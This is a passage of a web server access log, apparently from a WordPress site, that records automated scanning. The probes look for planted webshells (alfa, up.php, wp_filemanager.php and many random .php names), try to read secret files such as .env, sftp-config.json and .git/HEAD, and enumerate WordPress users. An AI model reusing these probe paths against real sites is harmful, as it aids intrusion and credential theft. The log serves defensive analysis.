[11/Mar/2026:01:26:26 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:26:28 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:38 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:42 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:50 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:22:57 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:00 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:04 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 185.104.184.198 - - [11/Mar/2026:01:23:07 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 45.94.31.198 - - [11/Mar/2026:03:07:19 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.62.213.165 - - [11/Mar/2026:03:13:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.198 - - [11/Mar/2026:03:07:08 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.198 - - [11/Mar/2026:03:07:08 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.198 - - [11/Mar/2026:03:07:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.198 - - [11/Mar/2026:03:07:08 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.198 - - [11/Mar/2026:03:07:08 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 54.221.17.248 - - [11/Mar/2026:03:28:01 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 49.7.227.204 - - [11/Mar/2026:06:08:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 57.128.52.136 - - [11/Mar/2026:07:00:52 +0300] "GET /.well-known/pki-validation/gu.php HTTP/1.1" 404 796 "-" "get_local:DCV" 57.128.52.136 - - [11/Mar/2026:07:00:52 +0300] "GET /.well-known/pki-validation/rafa.php HTTP/1.1" 404 796 "-" "get_local:DCV" 206.232.2.164 - - [11/Mar/2026:07:28:48 +0300] "GET / HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" 43.156.109.53 - - [11/Mar/2026:07:49:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.97 - - [11/Mar/2026:09:58:52 +0300] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 54.174.58.237 - - [11/Mar/2026:08:27:04 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 34.204.1.66 - - [11/Mar/2026:09:18:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 113.204.79.230 - - [11/Mar/2026:10:06:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 119.28.140.106 - - [11/Mar/2026:08:44:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.245.179.207 - - [11/Mar/2026:12:29:28 +0300] "GET /.vscode/ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.179.207 - - [11/Mar/2026:12:29:39 +0300] "GET /.vscode/ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.179.207 - - [11/Mar/2026:12:29:17 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.179.207 - - [11/Mar/2026:12:29:50 +0300] "GET /.sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.59.232.195 - - [11/Mar/2026:12:11:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 165.245.179.207 - - [11/Mar/2026:12:30:34 +0300] "GET /.ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 203.159.90.13 - - [11/Mar/2026:11:54:40 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 165.245.179.207 - - [11/Mar/2026:12:30:01 +0300] "GET /ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.180.236.112 - - [11/Mar/2026:11:36:10 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 165.245.179.207 - - [11/Mar/2026:12:29:06 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.179.207 - - [11/Mar/2026:12:30:12 +0300] "GET /.ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.179.207 - - [11/Mar/2026:12:30:23 +0300] "GET /ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 203.2.64.59 - - [11/Mar/2026:12:31:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.56.150.88 - - [11/Mar/2026:13:08:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 43.157.150.69 - - [11/Mar/2026:13:05:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.56.150.59 - - [11/Mar/2026:13:07:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 45.141.233.210 - - [11/Mar/2026:14:07:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 185.252.235.182 - - [11/Mar/2026:13:18:47 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.252.235.182 - - [11/Mar/2026:13:17:10 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.252.235.182 - - [11/Mar/2026:13:17:47 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.158.91.71 - - [11/Mar/2026:13:54:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.242.3.19 - - [11/Mar/2026:13:40:49 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 173.252.69.6 - - [11/Mar/2026:15:30:21 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 194.26.192.138 - - [11/Mar/2026:17:00:06 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 51.68.188.254 - - [11/Mar/2026:16:49:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:06 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 93.158.90.72 - - [11/Mar/2026:16:38:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123" 173.252.87.23 - - [11/Mar/2026:16:59:44 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 194.26.192.138 - - [11/Mar/2026:17:00:06 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [11/Mar/2026:17:00:07 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.93.89.110 - - [11/Mar/2026:17:57:16 +0300] "GET //.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 87.236.176.186 - - [11/Mar/2026:17:58:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 43.153.123.3 - - [11/Mar/2026:18:12:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 175.6.217.4 - - [11/Mar/2026:19:37:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.143.187 - - [11/Mar/2026:18:59:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.253.248.12 - - [11/Mar/2026:19:39:15 +0300] "GET //.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 46.229.212.150 - - [11/Mar/2026:21:23:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0" 81.180.93.59 - - [11/Mar/2026:21:18:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 45.94.31.185 - - [11/Mar/2026:22:38:48 +0300] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 64.23.128.112 - - [11/Mar/2026:22:17:15 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 64.23.128.112 - - [11/Mar/2026:22:17:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 23.22.254.139 - - [11/Mar/2026:22:53:54 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.157.170.126 - - [12/Mar/2026:00:13:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 152.42.254.29 - - [11/Mar/2026:23:47:33 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 152.42.254.29 - - [11/Mar/2026:23:47:32 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.242.2.207 - - [12/Mar/2026:01:05:31 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:33 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:34 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:37 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:38 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:41 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:43 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:45 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:47 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:49 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:52 +0300] "GET /article.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:55 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:58 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:00 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:03 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:06 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:08 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:11 +0300] "GET /termps.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:14 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:17 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:20 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:06:23 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:55 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:58 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:59 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:01 +0300] "GET /up.php?x= HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:07 +0300] "GET /0x1949.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:09 +0300] "GET /web/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:12 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:05:14 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 43.130.150.80 - - [12/Mar/2026:01:07:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.154.174.199 - - [12/Mar/2026:01:03:10 +0300] "GET /index.php?rest_route=/wp/v2/users&orderby=id&order=asc&per_page=100&page=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 20.242.2.207 - - [12/Mar/2026:01:04:16 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:18 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:20 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:24 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:26 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:29 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:32 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:34 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:38 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:40 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:42 +0300] "GET /brand.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:44 +0300] "GET /404.php?fm=true HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:48 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.242.2.207 - - [12/Mar/2026:01:04:50 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 173.212.235.16 - - [12/Mar/2026:01:04:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 52.169.148.186 - - [12/Mar/2026:02:15:53 +0300] "GET //sw.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:11 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:13 +0300] "GET /iindv.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:15 +0300] "GET /sqaoi.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:17 +0300] "GET /wp-admin/privacy.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:25 +0300] "GET /aapig.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:27 +0300] "GET /fs8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:29 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:30 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:32 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:36 +0300] "GET /zwq13.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:38 +0300] "GET /wqqs.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:40 +0300] "GET /gk.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:44 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:37 +0300] "GET /zz8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:07 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:12 +0300] "GET /receiver.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:15 +0300] "GET /mis.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:18 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:20 +0300] "GET /temp1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:23 +0300] "GET /com.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:27 +0300] "GET /ocdzo.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:30 +0300] "GET /yitlu.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:33 +0300] "GET /xmzrp.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:12 +0300] "GET /vhitr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:15 +0300] "GET /uvlyi.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:00 +0300] "GET //vfr.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:34 +0300] "GET /vir-v2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:36 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:38 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:40 +0300] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 109.248.142.162 - - [12/Mar/2026:01:27:03 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 94.26.106.114 - - [12/Mar/2026:02:09:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 52.169.148.186 - - [12/Mar/2026:02:15:47 +0300] "GET /wp-includes/app.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:09 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:44 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:46 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:48 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:50 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:53 +0300] "GET /hckpe.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:55 +0300] "GET /ht.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:58 +0300] "GET 